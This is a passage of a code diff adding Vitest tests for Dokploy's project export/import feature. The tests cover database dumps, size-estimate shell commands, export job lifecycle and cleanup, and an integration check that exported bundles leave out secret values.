||||
mongo: [],
|
||||
libsql: [],
|
||||
compose: [
|
||||
{
|
||||
composeId: "compose-1",
|
||||
appName: "stack-one",
|
||||
serverId: null,
|
||||
backups: [
|
||||
{
|
||||
backupId: "backup-1",
|
||||
serviceName: "db",
|
||||
database: "mydb",
|
||||
databaseType: "mariadb",
|
||||
metadata: {
|
||||
mariadb: { databaseUser: "u", databasePassword: "p" },
|
||||
},
|
||||
},
|
||||
],
|
||||
},
|
||||
],
|
||||
},
|
||||
],
|
||||
};
|
||||
|
||||
const { dumps, warnings } = await createDumps(
|
||||
fakeDb(),
|
||||
tree as any,
|
||||
baseScope,
|
||||
local(workDir),
|
||||
{
|
||||
runDump: async () => {
|
||||
throw new Error("Container not found");
|
||||
},
|
||||
},
|
||||
);
|
||||
|
||||
expect(dumps).toHaveLength(0);
|
||||
expect(warnings.map((warning) => warning.code)).toEqual(["DUMP_FAILED"]);
|
||||
expect(existsSync(join(workDir, "dumps"))).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("createDumps / referenceLastBackup mode", () => {
|
||||
it("references the destination + key prefix of the latest successful backup", async () => {
|
||||
const tree = buildTree([
|
||||
{
|
||||
postgresId: "pg-1",
|
||||
appName: "pg-one",
|
||||
databaseName: "db",
|
||||
databaseUser: "u",
|
||||
serverId: null,
|
||||
backups: [{ backupId: "backup-1" }],
|
||||
},
|
||||
]);
|
||||
|
||||
const db = fakeDb({
|
||||
deployments: {
|
||||
findMany: async () => [{ backupId: "backup-1", status: "done" }],
|
||||
},
|
||||
backups: {
|
||||
findFirst: async () => ({
|
||||
backupId: "backup-1",
|
||||
destinationId: "dest-1",
|
||||
prefix: "/nightly/",
|
||||
}),
|
||||
},
|
||||
});
|
||||
|
||||
const { dumps } = await createDumps(
|
||||
db,
|
||||
tree as any,
|
||||
{ ...baseScope, dumps: { mode: "referenceLastBackup" } },
|
||||
local(workDir),
|
||||
);
|
||||
|
||||
expect(dumps).toEqual([
|
||||
{
|
||||
serviceId: "pg-1",
|
||||
serviceType: "postgres",
|
||||
mode: "referenceLastBackup",
|
||||
destinationId: "dest-1",
|
||||
keyPrefix: "pg-one/nightly/",
|
||||
},
|
||||
]);
|
||||
});
|
||||
|
||||
it("skips a service with no successful backup deployment", async () => {
|
||||
const tree = buildTree([
|
||||
{
|
||||
postgresId: "pg-1",
|
||||
appName: "pg-one",
|
||||
databaseName: "db",
|
||||
databaseUser: "u",
|
||||
serverId: null,
|
||||
backups: [{ backupId: "backup-1" }],
|
||||
},
|
||||
]);
|
||||
|
||||
const { dumps } = await createDumps(
|
||||
fakeDb(),
|
||||
tree as any,
|
||||
{ ...baseScope, dumps: { mode: "referenceLastBackup" } },
|
||||
local(workDir),
|
||||
);
|
||||
|
||||
expect(dumps).toHaveLength(0);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,118 @@
|
||||
import type { ExportScope } from "@dokploy/server/services/project-export-import";
|
||||
import {
|
||||
buildDatabaseSizeCommand,
|
||||
buildDirectorySizeCommand,
|
||||
estimateSizes,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const scope: ExportScope = {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "embed" },
|
||||
includeBackupSchedules: true,
|
||||
};
|
||||
|
||||
const tree = {
|
||||
projectId: "project-1",
|
||||
name: "p",
|
||||
organizationId: "org-1",
|
||||
env: "",
|
||||
environments: [
|
||||
{
|
||||
environmentId: "env-1",
|
||||
name: "production",
|
||||
env: "",
|
||||
applications: [
|
||||
{ applicationId: "app-1", appName: "app-one", serverId: null },
|
||||
],
|
||||
compose: [
|
||||
{ composeId: "c-1", appName: "compose-one", serverId: "srv-1" },
|
||||
],
|
||||
postgres: [
|
||||
{
|
||||
postgresId: "pg-1",
|
||||
appName: "pg-one",
|
||||
serverId: null,
|
||||
databaseName: "mydb",
|
||||
databaseUser: "me",
|
||||
},
|
||||
],
|
||||
mysql: [],
|
||||
mariadb: [],
|
||||
mongo: [],
|
||||
redis: [{ redisId: "r-1", appName: "redis-one", serverId: null }],
|
||||
libsql: [],
|
||||
},
|
||||
],
|
||||
};
|
||||
|
||||
const pathsFn = (isServer = false) =>
|
||||
({
|
||||
APPLICATIONS_PATH: isServer ? "/remote/apps" : "/local/apps",
|
||||
COMPOSE_PATH: isServer ? "/remote/compose" : "/local/compose",
|
||||
}) as never;
|
||||
|
||||
describe("estimateSizes", () => {
|
||||
it("sums database and file sizes, keyed to the right server and path", async () => {
|
||||
const calls: [string | null, string][] = [];
|
||||
const sizes = await estimateSizes(tree as never, scope, {
|
||||
pathsFn,
|
||||
probe: async (serverId, command) => {
|
||||
calls.push([serverId, command]);
|
||||
if (command.includes("pg_database_size")) return "1048576\n";
|
||||
if (command.includes("/remote/compose/compose-one")) return "2048";
|
||||
if (command.includes("/local/apps/app-one")) return "4096";
|
||||
throw new Error("unexpected");
|
||||
},
|
||||
});
|
||||
expect(sizes).toEqual({
|
||||
estimatedDumpBytes: 1048576,
|
||||
estimatedFilesBytes: 6144,
|
||||
});
|
||||
expect(calls.map(([serverId]) => serverId)).toEqual([null, null, "srv-1"]);
|
||||
expect(calls.some(([, c]) => c.includes("redis"))).toBe(false);
|
||||
});
|
||||
|
||||
it("counts a failing probe as zero instead of failing the preview", async () => {
|
||||
const sizes = await estimateSizes(tree as never, scope, {
|
||||
pathsFn,
|
||||
probe: async () => {
|
||||
throw new Error("container not running");
|
||||
},
|
||||
});
|
||||
expect(sizes).toEqual({ estimatedDumpBytes: 0, estimatedFilesBytes: 0 });
|
||||
});
|
||||
});
|
||||
|
||||
describe("size command builders", () => {
|
||||
it("passes database credentials as env vars, never inside the container script", () => {
|
||||
const command = buildDatabaseSizeCommand("mariadb", {
|
||||
appName: "db-one",
|
||||
databaseName: "shop",
|
||||
databaseUser: "shop",
|
||||
databasePassword: "s3cret'quote",
|
||||
}) as string;
|
||||
const [outer, inner] = command.split(" sh -c ");
|
||||
expect(outer).toContain("-e DB_PASS=");
|
||||
expect(inner).toContain('--password="$DB_PASS"');
|
||||
expect(inner).not.toContain("s3cret");
|
||||
expect(inner).not.toContain("\\$");
|
||||
});
|
||||
|
||||
it("has no size probe for redis", () => {
|
||||
expect(buildDatabaseSizeCommand("redis", { appName: "x" })).toBeUndefined();
|
||||
});
|
||||
|
||||
it("quotes the directory path", () => {
|
||||
expect(buildDirectorySizeCommand("/etc/dokploy/apps/my app")).toBe(
|
||||
"du -sk '/etc/dokploy/apps/my app' | awk '{print $1*1024}'",
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,348 @@
|
||||
import { existsSync } from "node:fs";
|
||||
import { mkdtemp, rm, writeFile } from "node:fs/promises";
|
||||
import { tmpdir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import type {
|
||||
ExportScope,
|
||||
TransferDb,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import {
|
||||
cancelExport,
|
||||
cleanupExpiredExports,
|
||||
createExportJob,
|
||||
getExportJob,
|
||||
runExport,
|
||||
runExportBatch,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { TRPCError } from "@trpc/server";
|
||||
import { afterEach, beforeEach, describe, expect, it } from "vitest";
|
||||
|
||||
let root: string;
|
||||
|
||||
beforeEach(async () => {
|
||||
root = await mkdtemp(join(tmpdir(), "transfer-export-job-"));
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await rm(root, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
const fakePaths = (_isServer: boolean) => ({
|
||||
BASE_PATH: root,
|
||||
MAIN_TRAEFIK_PATH: join(root, "traefik"),
|
||||
DYNAMIC_TRAEFIK_PATH: join(root, "traefik", "dynamic"),
|
||||
LOGS_PATH: join(root, "logs"),
|
||||
APPLICATIONS_PATH: join(root, "applications"),
|
||||
COMPOSE_PATH: join(root, "compose"),
|
||||
SSH_PATH: join(root, "ssh"),
|
||||
CERTIFICATES_PATH: join(root, "traefik", "dynamic", "certificates"),
|
||||
MONITORING_PATH: join(root, "monitoring"),
|
||||
REGISTRY_PATH: join(root, "registry"),
|
||||
SCHEDULES_PATH: join(root, "schedules"),
|
||||
VOLUME_BACKUPS_PATH: join(root, "volume-backups"),
|
||||
VOLUME_BACKUP_LOCK_PATH: join(root, "volume-backup-lock"),
|
||||
PATCH_REPOS_PATH: join(root, "patch-repos"),
|
||||
PROJECT_EXPORT_IMPORT_PATH: join(root, "transfer"),
|
||||
});
|
||||
|
||||
const emptyProjectTree = {
|
||||
projectId: "project-1",
|
||||
name: "my-project",
|
||||
organizationId: "org-1",
|
||||
env: "",
|
||||
environments: [],
|
||||
};
|
||||
|
||||
const fakeDb = (): TransferDb =>
|
||||
({
|
||||
query: {
|
||||
projects: { findFirst: async () => emptyProjectTree },
|
||||
environments: { findFirst: async () => undefined },
|
||||
schedules: { findMany: async () => [] },
|
||||
volumeBackups: { findMany: async () => [] },
|
||||
},
|
||||
}) as any as TransferDb;
|
||||
|
||||
const baseScope: ExportScope = {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "embed" },
|
||||
includeBackupSchedules: true,
|
||||
};
|
||||
|
||||
const waitForStatus = async (
|
||||
exportId: string,
|
||||
target: "done" | "error",
|
||||
timeoutMs = 5000,
|
||||
) => {
|
||||
const start = Date.now();
|
||||
while (Date.now() - start < timeoutMs) {
|
||||
const job = getExportJob(exportId);
|
||||
if (job?.status === target || job?.status === "error") {
|
||||
return job;
|
||||
}
|
||||
await new Promise((resolve) => setTimeout(resolve, 20));
|
||||
}
|
||||
throw new Error(
|
||||
`Timed out waiting for export ${exportId} to reach ${target}`,
|
||||
);
|
||||
};
|
||||
|
||||
describe("runExport", () => {
|
||||
it("produces a downloadable bundle for an (empty) project and issues a download token", async () => {
|
||||
const { exportId } = runExport(
|
||||
{
|
||||
source: { kind: "project", id: "project-1" },
|
||||
scope: baseScope,
|
||||
passphrase: "correct-horse-battery-staple",
|
||||
},
|
||||
{
|
||||
db: fakeDb(),
|
||||
userId: "user-1",
|
||||
userEmail: "a@b.com",
|
||||
organizationId: "org-1",
|
||||
dokployVersion: "1.0.0-test",
|
||||
pathsFn: fakePaths as any,
|
||||
},
|
||||
);
|
||||
|
||||
const job = await waitForStatus(exportId, "done");
|
||||
expect(job?.status).toBe("done");
|
||||
expect(job?.bundle?.path).toBeDefined();
|
||||
expect(existsSync(job?.bundle?.path as string)).toBe(true);
|
||||
expect(job?.downloadToken).toBeDefined();
|
||||
expect(job?.size).toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
it("attaches dump warnings to the finished job when an embedded dump fails", async () => {
|
||||
const tree = {
|
||||
...emptyProjectTree,
|
||||
environments: [
|
||||
{
|
||||
environmentId: "env-1",
|
||||
name: "production",
|
||||
env: "",
|
||||
applications: [],
|
||||
compose: [],
|
||||
postgres: [
|
||||
{
|
||||
postgresId: "pg-1",
|
||||
name: "pg",
|
||||
appName: "pg-one",
|
||||
databaseName: "db",
|
||||
databaseUser: "u",
|
||||
databasePassword: "p",
|
||||
serverId: null,
|
||||
backups: [],
|
||||
mounts: [],
|
||||
},
|
||||
],
|
||||
mysql: [],
|
||||
mariadb: [],
|
||||
mongo: [],
|
||||
redis: [],
|
||||
libsql: [],
|
||||
},
|
||||
],
|
||||
};
|
||||
const db = {
|
||||
query: {
|
||||
projects: { findFirst: async () => tree },
|
||||
environments: { findFirst: async () => undefined },
|
||||
schedules: { findMany: async () => [] },
|
||||
volumeBackups: { findMany: async () => [] },
|
||||
applications: {
|
||||
findMany: async () => [],
|
||||
findFirst: async () => undefined,
|
||||
},
|
||||
},
|
||||
} as any as TransferDb;
|
||||
|
||||
const { exportId } = runExport(
|
||||
{
|
||||
source: { kind: "project", id: "project-1" },
|
||||
scope: baseScope,
|
||||
passphrase: "correct-horse-battery-staple",
|
||||
},
|
||||
{
|
||||
db,
|
||||
userId: "user-1",
|
||||
userEmail: "a@b.com",
|
||||
organizationId: "org-1",
|
||||
dokployVersion: "1.0.0-test",
|
||||
pathsFn: fakePaths as any,
|
||||
},
|
||||
);
|
||||
|
||||
const job = await waitForStatus(exportId, "done");
|
||||
expect(job?.status).toBe("done");
|
||||
expect(job?.warnings?.map((warning) => warning.code)).toEqual([
|
||||
"DUMP_FAILED",
|
||||
]);
|
||||
expect(job?.message).toMatch(/^Export complete with 1 warning\(s\)/);
|
||||
});
|
||||
|
||||
it("gives two concurrent exports independent exportIds and workDirs", async () => {
|
||||
const first = runExport(
|
||||
{
|
||||
source: { kind: "project", id: "project-1" },
|
||||
scope: baseScope,
|
||||
passphrase: "correct-horse-battery-staple",
|
||||
},
|
||||
{
|
||||
db: fakeDb(),
|
||||
userId: "user-1",
|
||||
userEmail: "a@b.com",
|
||||
organizationId: "org-1",
|
||||
dokployVersion: "1.0.0-test",
|
||||
pathsFn: fakePaths as any,
|
||||
},
|
||||
);
|
||||
const second = runExport(
|
||||
{
|
||||
source: { kind: "project", id: "project-1" },
|
||||
scope: baseScope,
|
||||
passphrase: "correct-horse-battery-staple",
|
||||
},
|
||||
{
|
||||
db: fakeDb(),
|
||||
userId: "user-1",
|
||||
userEmail: "a@b.com",
|
||||
organizationId: "org-1",
|
||||
dokployVersion: "1.0.0-test",
|
||||
pathsFn: fakePaths as any,
|
||||
},
|
||||
);
|
||||
|
||||
expect(first.exportId).not.toBe(second.exportId);
|
||||
|
||||
const [job1, job2] = await Promise.all([
|
||||
waitForStatus(first.exportId, "done"),
|
||||
waitForStatus(second.exportId, "done"),
|
||||
]);
|
||||
expect(job1?.bundle?.path).not.toBe(job2?.bundle?.path);
|
||||
expect(existsSync(job1?.bundle?.path as string)).toBe(true);
|
||||
expect(existsSync(job2?.bundle?.path as string)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe("runExportBatch", () => {
|
||||
it("runs the exports one after another and finishes every job", async () => {
|
||||
const ctx = {
|
||||
db: fakeDb(),
|
||||
userId: "user-1",
|
||||
userEmail: "a@b.com",
|
||||
organizationId: "org-1",
|
||||
dokployVersion: "1.0.0-test",
|
||||
pathsFn: fakePaths as any,
|
||||
};
|
||||
const input = {
|
||||
source: { kind: "project" as const, id: "project-1" },
|
||||
scope: baseScope,
|
||||
passphrase: "correct-horse-battery-staple",
|
||||
};
|
||||
const { exportIds } = runExportBatch([input, input], ctx);
|
||||
expect(exportIds).toHaveLength(2);
|
||||
|
||||
const first = await waitForStatus(exportIds[0] as string, "done");
|
||||
const second = await waitForStatus(exportIds[1] as string, "done");
|
||||
expect(first?.bundle?.path).not.toBe(second?.bundle?.path);
|
||||
expect(existsSync(first?.bundle?.path as string)).toBe(true);
|
||||
expect(existsSync(second?.bundle?.path as string)).toBe(true);
|
||||
}, 30_000);
|
||||
|
||||
it("restarts each job's TTL when it finishes, not when the batch was queued", async () => {
|
||||
const input = {
|
||||
source: { kind: "project" as const, id: "project-1" },
|
||||
scope: baseScope,
|
||||
passphrase: "correct-horse-battery-staple",
|
||||
};
|
||||
const { exportIds } = runExportBatch([input, input], {
|
||||
db: fakeDb(),
|
||||
userId: "user-1",
|
||||
userEmail: "a@b.com",
|
||||
organizationId: "org-1",
|
||||
dokployVersion: "1.0.0-test",
|
||||
pathsFn: fakePaths as any,
|
||||
});
|
||||
const queuedAt = getExportJob(exportIds[1] as string)?.createdAt as number;
|
||||
|
||||
const first = await waitForStatus(exportIds[0] as string, "done");
|
||||
const second = await waitForStatus(exportIds[1] as string, "done");
|
||||
expect(second?.createdAt).toBeGreaterThan(queuedAt);
|
||||
expect(second?.createdAt).toBeGreaterThanOrEqual(
|
||||
first?.createdAt as number,
|
||||
);
|
||||
}, 30_000);
|
||||
});
|
||||
|
||||
describe("cancelExport (T-6.7)", () => {
|
||||
it("refuses to cancel while the export is actually running", async () => {
|
||||
const job = createExportJob("cancel-running-1", "user-1", "org-1");
|
||||
job.status = "dumping";
|
||||
|
||||
await expect(cancelExport("cancel-running-1")).rejects.toThrow(TRPCError);
|
||||
expect(getExportJob("cancel-running-1")?.status).toBe("dumping");
|
||||
});
|
||||
|
||||
it("allows cancelling once the export has reached a terminal status", async () => {
|
||||
const job = createExportJob("cancel-done-1", "user-1", "org-1");
|
||||
job.status = "done";
|
||||
|
||||
await cancelExport("cancel-done-1");
|
||||
expect(getExportJob("cancel-done-1")).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
describe("cleanupExpiredExports", () => {
|
||||
it("deletes expired jobs and their bundle files", async () => {
|
||||
const job = createExportJob("expired-1", "user-1", "org-1");
|
||||
const bundlePath = join(root, "expired-1.dokploy.tar.gz");
|
||||
await writeFile(bundlePath, "fake bundle");
|
||||
job.workspace = { serverId: null, path: join(root, "expired-1") };
|
||||
job.bundle = { serverId: null, path: bundlePath };
|
||||
job.status = "done";
|
||||
|
||||
const farFuture = Date.now() + 2 * 60 * 60 * 1000;
|
||||
const expired = await cleanupExpiredExports(farFuture);
|
||||
|
||||
expect(expired.map((j) => j.exportId)).toContain("expired-1");
|
||||
expect(getExportJob("expired-1")).toBeUndefined();
|
||||
expect(existsSync(bundlePath)).toBe(false);
|
||||
});
|
||||
|
||||
it("leaves fresh jobs untouched", async () => {
|
||||
createExportJob("fresh-1", "user-1", "org-1");
|
||||
const expired = await cleanupExpiredExports(Date.now());
|
||||
expect(expired.map((j) => j.exportId)).not.toContain("fresh-1");
|
||||
expect(getExportJob("fresh-1")).toBeDefined();
|
||||
});
|
||||
|
||||
it("leaves an active (non-terminal status) job alone even past the TTL", async () => {
|
||||
const job = createExportJob("active-past-ttl-1", "user-1", "org-1");
|
||||
job.status = "dumping";
|
||||
|
||||
const farFuture = Date.now() + 2 * 60 * 60 * 1000;
|
||||
const expired = await cleanupExpiredExports(farFuture);
|
||||
|
||||
expect(expired.map((j) => j.exportId)).not.toContain("active-past-ttl-1");
|
||||
expect(getExportJob("active-past-ttl-1")).toBeDefined();
|
||||
});
|
||||
|
||||
it("does clean up a terminal-status job once it's past the TTL", async () => {
|
||||
const job = createExportJob("terminal-past-ttl-1", "user-1", "org-1");
|
||||
job.status = "error";
|
||||
|
||||
const farFuture = Date.now() + 2 * 60 * 60 * 1000;
|
||||
const expired = await cleanupExpiredExports(farFuture);
|
||||
|
||||
expect(expired.map((j) => j.exportId)).toContain("terminal-past-ttl-1");
|
||||
expect(getExportJob("terminal-past-ttl-1")).toBeUndefined();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,276 @@
|
||||
import { mkdtemp, readdir, readFile, rm } from "node:fs/promises";
|
||||
import { tmpdir } from "node:os";
|
||||
import { join, relative } from "node:path";
|
||||
import type {
|
||||
ExportScope,
|
||||
TransferDb,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import {
|
||||
capture,
|
||||
detectRequirements,
|
||||
detectWarnings,
|
||||
manifestSchema,
|
||||
serialize,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { execAsync } from "@dokploy/server/utils/process/execAsync";
|
||||
import { afterEach, beforeEach, describe, expect, it } from "vitest";
|
||||
|
||||
const local = (path: string) => ({ serverId: null, path });
|
||||
|
||||
const PASSPHRASE = "correct-horse-battery-staple";
|
||||
const SECRET_VALUES = [
|
||||
"hunter2-vault-secret-placeholder",
|
||||
"realdbpassword123",
|
||||
"registrypassword456",
|
||||
"basicauthpassword789",
|
||||
];
|
||||
|
||||
const application = {
|
||||
applicationId: "app-1",
|
||||
name: "my-app",
|
||||
appName: "my-app-abc123",
|
||||
environmentId: "env-1",
|
||||
env: "DATABASE_URL=postgres://user:${{vault.prod.DB_PASS}}@db/mydb",
|
||||
buildArgs: null,
|
||||
buildSecrets: null,
|
||||
previewEnv: null,
|
||||
serverId: null,
|
||||
buildServerId: null,
|
||||
githubId: null,
|
||||
gitlabId: null,
|
||||
giteaId: null,
|
||||
bitbucketId: null,
|
||||
refreshToken: "webhook-token-should-never-appear",
|
||||
registryId: "registry-1",
|
||||
buildRegistryId: null,
|
||||
rollbackRegistryId: null,
|
||||
customGitSSHKeyId: null,
|
||||
customGitSSHKey: null,
|
||||
networkIds: [],
|
||||
owner: null,
|
||||
repository: null,
|
||||
sourceType: "docker",
|
||||
autoDeploy: false,
|
||||
isPreviewDeploymentsActive: false,
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
domains: [],
|
||||
mounts: [],
|
||||
redirects: [],
|
||||
security: [
|
||||
{
|
||||
securityId: "sec-1",
|
||||
username: "admin",
|
||||
password: "basicauthpassword789",
|
||||
createdAt: "2024-01-01",
|
||||
},
|
||||
],
|
||||
ports: [],
|
||||
schedules: [],
|
||||
volumeBackups: [],
|
||||
};
|
||||
|
||||
const postgres = {
|
||||
postgresId: "pg-1",
|
||||
name: "my-db",
|
||||
appName: "my-db-xyz789",
|
||||
environmentId: "env-1",
|
||||
env: "",
|
||||
databasePassword: "realdbpassword123",
|
||||
serverId: null,
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
mounts: [],
|
||||
backups: [],
|
||||
volumeBackups: [],
|
||||
};
|
||||
|
||||
const emptyServiceArrays = {
|
||||
mysql: [],
|
||||
mariadb: [],
|
||||
mongo: [],
|
||||
redis: [],
|
||||
libsql: [],
|
||||
compose: [],
|
||||
};
|
||||
|
||||
const projectTree = {
|
||||
projectId: "project-1",
|
||||
name: "my-project",
|
||||
organizationId: "org-1",
|
||||
env: "",
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
environments: [
|
||||
{
|
||||
environmentId: "env-1",
|
||||
name: "production",
|
||||
projectId: "project-1",
|
||||
env: "",
|
||||
isDefault: true,
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
applications: [application],
|
||||
postgres: [postgres],
|
||||
...emptyServiceArrays,
|
||||
},
|
||||
],
|
||||
};
|
||||
|
||||
const fakeDb = (): TransferDb =>
|
||||
({
|
||||
query: {
|
||||
projects: { findFirst: async () => projectTree },
|
||||
environments: { findFirst: async () => undefined },
|
||||
applications: { findMany: async () => [application] },
|
||||
schedules: { findMany: async () => [] },
|
||||
volumeBackups: { findMany: async () => [] },
|
||||
vaultProvider: {
|
||||
findMany: async () => [
|
||||
{
|
||||
vaultProviderId: "vault-1",
|
||||
name: "prod",
|
||||
providerType: "hashicorp",
|
||||
organizationId: "org-1",
|
||||
},
|
||||
],
|
||||
},
|
||||
registry: {
|
||||
findMany: async () => [
|
||||
{
|
||||
registryId: "registry-1",
|
||||
registryUrl: "https://registry.example.com",
|
||||
imagePrefix: "acme",
|
||||
password: "registrypassword456",
|
||||
},
|
||||
],
|
||||
findFirst: async () => ({
|
||||
registryId: "registry-1",
|
||||
registryUrl: "https://registry.example.com",
|
||||
imagePrefix: "acme",
|
||||
password: "registrypassword456",
|
||||
}),
|
||||
},
|
||||
destinations: { findMany: async () => [] },
|
||||
network: { findMany: async () => [] },
|
||||
certificates: { findMany: async () => [] },
|
||||
},
|
||||
}) as any as TransferDb;
|
||||
|
||||
const baseScope: ExportScope = {
|
||||
includeEnvSecrets: true,
|
||||
shared: { registry: "value" },
|
||||
files: {
|
||||
applicationSources: false,
|
||||
composeFiles: false,
|
||||
traefikRaw: false,
|
||||
customCertificates: false,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
};
|
||||
|
||||
const walkFiles = async (dir: string, base = dir): Promise<string[]> => {
|
||||
const entries = await readdir(dir, { withFileTypes: true });
|
||||
const files: string[] = [];
|
||||
for (const entry of entries) {
|
||||
const full = join(dir, entry.name);
|
||||
if (entry.isDirectory()) {
|
||||
files.push(...(await walkFiles(full, base)));
|
||||
} else {
|
||||
files.push(relative(base, full));
|
||||
}
|
||||
}
|
||||
return files;
|
||||
};
|
||||
|
||||
let workDir: string;
|
||||
let outDir: string;
|
||||
|
||||
beforeEach(async () => {
|
||||
workDir = await mkdtemp(join(tmpdir(), "transfer-export-integration-work-"));
|
||||
outDir = await mkdtemp(join(tmpdir(), "transfer-export-integration-out-"));
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await rm(workDir, { recursive: true, force: true });
|
||||
await rm(outDir, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
describe("export integration: capture -> serialize", () => {
|
||||
it("produces a valid, checksummed, secret-free bundle from a realistic project", async () => {
|
||||
const db = fakeDb();
|
||||
const captureResult = await capture(
|
||||
db,
|
||||
{ kind: "project", id: "project-1" },
|
||||
baseScope,
|
||||
{
|
||||
detectRequirements: (tree, scope) =>
|
||||
detectRequirements(db, tree, scope),
|
||||
detectWarnings: (tree, scope) => detectWarnings(tree, scope),
|
||||
},
|
||||
);
|
||||
|
||||
expect(captureResult.requirements.some((r) => r.kind === "vault")).toBe(
|
||||
true,
|
||||
);
|
||||
expect(captureResult.requirements.some((r) => r.kind === "registry")).toBe(
|
||||
true,
|
||||
);
|
||||
|
||||
const bundlePath = join(outDir, "bundle.dokploy.tar.gz");
|
||||
await serialize(
|
||||
{
|
||||
resources: captureResult.resources,
|
||||
inventory: captureResult.inventory,
|
||||
requirements: captureResult.requirements,
|
||||
warnings: captureResult.warnings,
|
||||
dumps: [],
|
||||
scope: baseScope,
|
||||
organizationId: "org-1",
|
||||
dokployVersion: "1.0.0-test",
|
||||
exportedBy: { userId: "user-1", email: "a@b.com" },
|
||||
},
|
||||
captureResult.secretsPlain,
|
||||
PASSPHRASE,
|
||||
local(workDir),
|
||||
local(bundlePath),
|
||||
);
|
||||
|
||||
const extractDir = join(outDir, "extracted");
|
||||
await execAsync(
|
||||
`mkdir -p "${extractDir}" && tar -xzf "${bundlePath}" -C "${extractDir}"`,
|
||||
);
|
||||
|
||||
const manifestRaw = JSON.parse(
|
||||
await readFile(join(extractDir, "manifest.json"), "utf8"),
|
||||
);
|
||||
const manifestResult = manifestSchema.safeParse(manifestRaw);
|
||||
expect(manifestResult.success).toBe(true);
|
||||
|
||||
const relativeFiles = await walkFiles(extractDir);
|
||||
expect(relativeFiles.sort()).toEqual([
|
||||
"inventory.json",
|
||||
"manifest.json",
|
||||
"payload.enc",
|
||||
"requirements.json",
|
||||
"warnings.json",
|
||||
]);
|
||||
|
||||
const inventory = JSON.parse(
|
||||
await readFile(join(extractDir, "inventory.json"), "utf8"),
|
||||
);
|
||||
expect(inventory.totals.application).toBe(1);
|
||||
expect(inventory.totals.postgres).toBe(1);
|
||||
|
||||
const requirements = JSON.parse(
|
||||
await readFile(join(extractDir, "requirements.json"), "utf8"),
|
||||
);
|
||||
expect(Array.isArray(requirements)).toBe(true);
|
||||
expect(requirements.length).toBeGreaterThan(0);
|
||||
|
||||
for (const relativePath of relativeFiles) {
|
||||
const bytes = await readFile(join(extractDir, relativePath));
|
||||
for (const secret of SECRET_VALUES) {
|
||||
expect(bytes.includes(secret)).toBe(false);
|
||||
}
|
||||
expect(bytes.includes("webhook-token-should-never-appear")).toBe(false);
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,414 @@
|
||||
import { existsSync, readFileSync } from "node:fs";
|
||||
import { mkdir, mkdtemp, rm, writeFile } from "node:fs/promises";
|
||||
import { tmpdir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import type {
|
||||
ExportScope,
|
||||
Requirement,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { collectFiles } from "@dokploy/server/services/project-export-import";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const local = (path: string) => ({ serverId: null, path });
|
||||
|
||||
const { failPullBox } = vi.hoisted(() => ({
|
||||
failPullBox: { value: false },
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
|
||||
const actual =
|
||||
await importOriginal<
|
||||
typeof import("@dokploy/server/utils/process/execAsync")
|
||||
>();
|
||||
return {
|
||||
...actual,
|
||||
execAsync: vi.fn(async (command: string, options?: unknown) => {
|
||||
if (failPullBox.value && command.includes("tar -czf")) {
|
||||
const { ExecError } = await import(
|
||||
"@dokploy/server/utils/process/ExecError"
|
||||
);
|
||||
throw new ExecError(`Command failed: ${command}`, {
|
||||
command,
|
||||
stderr: "no such file or directory",
|
||||
exitCode: 1,
|
||||
});
|
||||
}
|
||||
return actual.execAsync(command, options as undefined);
|
||||
}),
|
||||
};
|
||||
});
|
||||
|
||||
const baseScope: ExportScope = {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
};
|
||||
|
||||
const emptyServiceArrays = {
|
||||
postgres: [],
|
||||
mysql: [],
|
||||
mariadb: [],
|
||||
mongo: [],
|
||||
redis: [],
|
||||
libsql: [],
|
||||
};
|
||||
|
||||
let root: string;
|
||||
let workDir: string;
|
||||
|
||||
const fakePaths = (_isServer: boolean) => ({
|
||||
BASE_PATH: root,
|
||||
MAIN_TRAEFIK_PATH: join(root, "traefik"),
|
||||
DYNAMIC_TRAEFIK_PATH: join(root, "traefik", "dynamic"),
|
||||
LOGS_PATH: join(root, "logs"),
|
||||
APPLICATIONS_PATH: join(root, "applications"),
|
||||
COMPOSE_PATH: join(root, "compose"),
|
||||
SSH_PATH: join(root, "ssh"),
|
||||
CERTIFICATES_PATH: join(root, "traefik", "dynamic", "certificates"),
|
||||
